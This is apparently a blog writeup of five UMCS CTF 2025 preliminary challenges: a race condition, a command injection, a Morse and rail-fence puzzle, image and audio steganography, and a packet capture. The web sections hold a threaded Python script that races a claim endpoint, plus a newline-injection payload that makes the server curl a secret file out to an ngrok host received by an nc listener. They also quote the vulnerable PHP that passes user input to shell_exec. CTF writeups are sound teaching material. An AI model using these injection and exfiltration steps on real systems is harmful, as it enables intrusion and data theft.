?

UMCS CTF Prelims Writeup

Introduction

Hi all! I participated in UMCS CTF Preliminary Round 2025 with my team from Sunway CSC. Here's the 5 challenges I did. It's much more nicely formatted than my usual writeups as this is adapted from our formal writeup submission.


Straightforward (web) - 412

Test out our game center. You'll have free claiming bonus for first timers!


Solution


Examining the Website

On first glance, we're met with a Game Portal that allows us to register an account with a username. If the username is taken, the account will not be created.

After creating an account, we're able to either claim a bonus of $1000, or redeem a secret prize for $3000. As you can only obtain a balance of $2000, it should be impossible to claim the prize within the day.

This largely hints at a race condition to be exploited, in which we can process the request twice by using more than one thread to claim the prize.

Actually, I tried getting the secret out of the flask cookie first. h It made less sense, but I didn't really feel like writing the exploit for the race condition.

Exploiting the Race Condition Anyways

To exploit this, we crafted a payload in Python using our session cookie that we obtained by examining the request in Burp Suite, or otherwise easily done by inspecting the webpage:

import requests
import threading

HOST = "<http://159.69.219.192:7859>"
COOKIES = {"session": "eyJ1c2VybmFtZSI6ImVyciJ9.Z_ncIw.-ZLw2zIuPkPHYdADkl2BoLBMpzQ"}

def get_cash():
    response = requests.post(
        f"{HOST}/claim",
        cookies=COOKIES,
    )
    print(response.text)

threads = []
for _ in range(5):
    t = threading.Thread(target=get_cash)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Sending out multiple requests using threads to trigger the race condition

Buying the Flag

After running the payload, we'll see that we have enough in our balance to redeem the secret reward on /buy_flag.

UMCS{th3_s0lut10n_1s_pr3tty_str41ghtf0rw4rd_too!}

healthcheck (web) - 196

I left my hopes_and_dreams on the server. can you help fetch it for me?


Solution


Examining the Website

In this challenge, we’re given an input box where we can enter a URL through a POST request and check its response status code.

website

Examining the source code, we see that our input is first checked for any blacklisted characters, in which it will remove it. Afterwards, the sanitized URL is put through an explicit cURL command. From here, we can attempt to break out of the cURL command and run our own command to exfiltrate the file “hopes_and_dreams”, as mentioned in the challenge description.

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["url"])) {
    $url = $_POST["url"];

    $blacklist = [PHP_EOL,'$',';','&','#','`','|','*','?','~','<','>','^','<','>','(', ')', '[', ']', '{', '}', '\\'];

    $sanitized_url = str_replace($blacklist, '', $url);

    $command = "curl -s -D - -o /dev/null " . $sanitized_url . " | grep -oP '^HTTP.+[0-9]{3}'";

    $output = shell_exec($command);
    if ($output) {
        $response_message .= "<p><strong>Response Code:</strong> " . htmlspecialchars($output) . "</p>";
    }
}
?>

Exfiltrating the File

In order to do this, we’ll set up a ngrok server and forward it to our nc listener on port 80.

ngrok

This will be the final payload for the URL:

url=%0Acurl -F "file=@hopes_and_dreams" https://376f-211-24-127-165.ngrok-free.app

%0A is used to start a new line while bypassing blacklisted character restrictions, and -F is used to specify the file we want to exfiltrate.

We then start listening on port 80 using nc to receive the data from our ngrok server.

sudo nc -nvlp 80

Using Burp Suite to forward our request, we receive the file back on our nc listener.

burp

flag

And here, we obtain the flag:

umcs{n1c3_j0b_ste4l1ng_myh0p3_4nd_dr3ams}

Gist of Samuel (crypto) - 216

Samuel is gatekeeping his favourite campsite. We found his note.

flag: umcs{the_name_of_the_campsite}


Solution


Examining the File Contents

We are provided with a text file which contains the content to be decrypted. The file’s content consists of various emojis, with a combination of 3 types of train emojis.

trains

We’re able to identify that each of these train emojis represent a different symbol in morse code by utilizing some good old pattern recognition.

The dots are most common in morse and make up majority of the letters. They can be seen here represented by this emoji: 🚂.

The separators can be seen wedged in between words and not found at the start nor end. In here, they are represented by this emoji: 🚆

Through the power of elimination, we can assume that 🚋 is used to represent the dashes in morse.

There are a few other nods and hints to morse code within the challenge itself, one being the name “Samuel” - which hints at Samuel Morse, the inventor of Morse Code. Another is the invisible characters inside the challenge hint.

gist

Decoding the File Contents

We'll use Find/Replace on CyberChef to make my life easier.

cyberchef

Decoding the Morse Code

morse

We find a hash-looking thing from the morse code!

e012d0a1fffac42d6aae00c54078ad3e

We also find some info about Samuel's favourite things. Actually, it's a gist code, hinted at from the challenge name. Initially, I tried to decode it straight up using the hints provided, but turns out that's just the URL.

Searching for the Gist

Well, let's try it:

https://gist.github.com/E012D0A1FFFAC42D6AAE00C54078AD3E

We find this:

gist

Decoding the Gist Text File Contents

gistfile

We find that Samuel likes trains very much and his favourite number is 8. I figure that:

We used the Rail Fence Cipher with key 8 to find this:

cyberchef

Then, we'll just make it more readable. And boom!

flag

umcs{willow_tree_campsite}

Hotline Miami (stego) - 138

"You’ve intercepted a mysterious floppy disk labeled 50 BLESSINGS, left behind by a shadowy figure in a rooster mask. The disk contains a cryptic image and a garbled audio file. Rumor has it the message reveals the location of a hidden safehouse tied to the 1989 Miami incident. Decrypt the clues before the Russians trace your signal.”


Solution


Read Me

This is a text file that contains instructions on how to construct the flag, and a little Hotline Miami reference.

DO YOU LIKE HURTING OTHER PEOPLE?

Subject_Be_Verb_Year

Examining the Image File

First, we’ll start with rooster.jpg - running strings on the file will yield a name:

richard

RICHARD

This will be the “SUBJECT” in our final flag.

Examining the Audio File

Using Audacity to open the .wav file and view the waveform, we’re able to spot a hidden message within the waveforms:

WATCHING 1989

“WATCHING” will be the verb, and “1989” will be the year.

Constructing the Flag

umcs{RICHARD_?_WATCHING_1989}

The “Be” in this is likely “is” or “was”, which was what we tried, and found that the final flag was:

umcs{RICHARD_IS_WATCHING_1989}

Red Herrings

Running zsteg on rooster.jpg will bring this:

b2,bgr,lsb,xy .. text: "QEUUUUUU"
b2,rgba,lsb,xy .. text: "SSSSSSSSWWWWWWWW"

Using the password “RICHARD” on steghide, you’re able to unlock this:

steghide

Decoding this using the A1Z26 cipher brings this:

gravityfallscipher

As far as I know, both of these have no major role in the flag solution.


Hidden in Plain Graphic (forensics) - 100

Agent Ali, who are secretly a spy from Malaysia has been communicate with others spy from all around the world using secret technique . Intelligence agencies have been monitoring his activities, but so far, no clear evidence of his communications has surfaced. Can you find any suspicious traffic in this file?


Solution


Examining Traffic

While examining the captured traffic packets in Wireshark, we're able to see that most requests are quite normal - including queries such as um.edu.my, github.com, etc. Sorting by length allows us to find a rather interesting TCP stream that is much larger in length than the rest of the packets.

Following this stream will bring us to a client packet with a .PNG header, indicating an image.

Converting the Image

We'll convert the captured data to raw bytes in Wireshark and create a .png file with them.

vi image.png
mimeopen image.png

As a result, we are left with this logo:

Since there's nothing visually hidden inside the image itself, we'll use zsteg to detect other hidden data within the .png. Doing this successfully yields the flag:

zsteg image.png
  "b^~SyY[ww"
  "24:umcs{h1dd3n_1n_png_st3g}"
  "A3tgA#tgA"

That's all. Thanks for readinggggggggggggggg!

#crypto #ctf #forensics #stego #web